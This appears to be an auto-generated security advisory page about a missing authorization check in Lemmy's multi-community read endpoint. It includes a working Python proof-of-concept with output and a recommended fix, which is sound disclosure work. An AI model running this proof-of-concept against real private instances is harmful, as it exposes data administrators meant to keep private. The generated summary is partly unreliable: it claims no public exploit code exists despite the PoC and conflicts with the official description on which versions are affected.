# GHSA-jmxc-hhwx-gvv3: Private Lemmy instances expose multi-community metadata without authentication

> Unauthenticated attackers can read private multi-community metadata on Lemmy instances configured as private.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 6 May 2026

## What is GHSA-jmxc-hhwx-gvv3?

GHSA-jmxc-hhwx-gvv3 is a missing authorization vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

**NOTE**: Only affects development version.

## Summary

`read_multi_community()` does not enforce the private-instance setting. On a private instance, an unauthenticated visitor can read multi-community names, titles, summaries, sidebars, owner identities, and member community lists.

## Details

Other read handlers load `local_site` and call `check_private_instance()` before returning data to unauthenticated callers. `read_multi_community()` does not call that helper:

```rust
pub async fn read_multi_community(
  Query(data): Query<GetMultiCommunity>,
  context: Data<LemmyContext>,
  local_user_view: Option<LocalUserView>,
) -> LemmyResult<Json<GetMultiCommunityResponse>> {
  let my_person_id = local_user_view.as_ref().map(|l| l.person.id);
  let id = resolve_multi_community_identifier(&data.name, data.id, &context, &local_user_view)
    .await?
    .ok_or(LemmyErrorType::NoIdGiven)?;
  let multi_community_view =
    MultiCommunityView::read(&mut context.pool(), id, my_person_id).await?;
```

`get_community()`, `list_posts()`, `list_comments()`, `read_person()`, `search()`, and `resolve_object()` all enforce the private-instance guard.

## Proof of Concept

The script creates a multi-community whose metadata contains a marker, turns on `private_instance`, confirms a guarded control endpoint blocks unauthenticated callers, then reads the same multi-community over `GET /multi_community` without authentication.

```python
#!/usr/bin/env python3
import json, random, string
import requests

BASE       = "http://127.0.0.1:8536/api/v4"
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"

def api(method, path, token=None, **kw):
    h = kw.pop("headers", {})
    if token: h["Authorization"] = "Bearer " + token
    return requests.request(method, BASE + path, headers=h, **kw)

suffix = "multi" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
secret = "SECRET_MULTI_" + suffix

admin = api("POST", "/account/auth/login", json={"username_or_email": ADMIN_USER, "password": ADMIN_PASS}).json()["jwt"]

# Create a multi-community whose title/summary/sidebar embed the marker.
mid = api("POST", "/multi_community", admin, json={
    "name": "m" + suffix, "title": secret,
    "summary": secret + " summary", "sidebar": secret + " sidebar",
}).json()["multi_community_view"]["multi"]["id"]

# Enable private_instance.
api("PUT", "/site", admin, json={"private_instance": True})

print("private_instance:", api("GET", "/site").json()["site_view"]["local_site"]["private_instance"])

# Control: a comparable read endpoint correctly rejects unauthenticated callers.
control = api("GET", "/community/list")
print("unauth /community/list (control):", control.status_code, control.text[:120])

# Leak: read_multi_community returns the private metadata to an unauthenticated caller.
leak = api("GET", "/multi_community", params={"id": mid})
print("unauth /multi_community:", leak.status_code, leak.text[:300])
print("contains secret:", secret in leak.text)
```

Output:

```text
private_instance: True
unauth /community/list (control): 400 {"error":"instance_is_private","cause":"InstanceIsPrivate"}
unauth /multi_community: 200 {"multi_community_view":{"multi":{"title":"SECRET_MULTI_multijwxokm","summary":"SECRET_MULTI_multijwxokm summary","sidebar":"SECRET_MULTI_multijwxokm sidebar"}}}
contains secret: True
```

The control request shows the privacy setting is active. The multi-community endpoint still returns the private metadata.

## Impact

An unauthenticated visitor can read multi-community metadata from an instance whose admin configured the site as private. The exposed fields include names, titles, summaries, sidebars, owner identities, and member community lists.

## Recommended Fix

Load `local_site` at the start of `read_multi_community()` and call `check_private_instance(&local_user_view, &local_site)?` before resolving or reading the multi-community.

---
*Found by [aisafe.io](https://aisafe.io)*

## Which versions are affected by GHSA-jmxc-hhwx-gvv3?

2 open source packages ship an affected version, including lemmy_api.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `lemmy_api` | crates.io | All versions to 0.19.1-rc.1 | None |
| `lemmy_api` | crates.io | All versions to 0.19.1-rc.1 | None |

## How do I fix GHSA-jmxc-hhwx-gvv3?

No fix has been published for GHSA-jmxc-hhwx-gvv3 yet. Limit exposure of the affected software until one is available.

## Is GHSA-jmxc-hhwx-gvv3 being exploited?

There is no known exploitation of GHSA-jmxc-hhwx-gvv3 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-jmxc-hhwx-gvv3 and fix it if it is affected.

What it is: GHSA-jmxc-hhwx-gvv3 is a missing authorization vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-jmxc-hhwx-gvv3 in the wild and no public exploit code.

Affected packages and fixed versions:
- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed
- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-jmxc-hhwx-gvv3/ (Markdown: https://insights.sbomify.com/GHSA-jmxc-hhwx-gvv3/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-jmxc-hhwx-gvv3

---
From sbomify Insights: https://insights.sbomify.com/GHSA-jmxc-hhwx-gvv3/
Summaries are generated and may contain mistakes; the official description above is the record.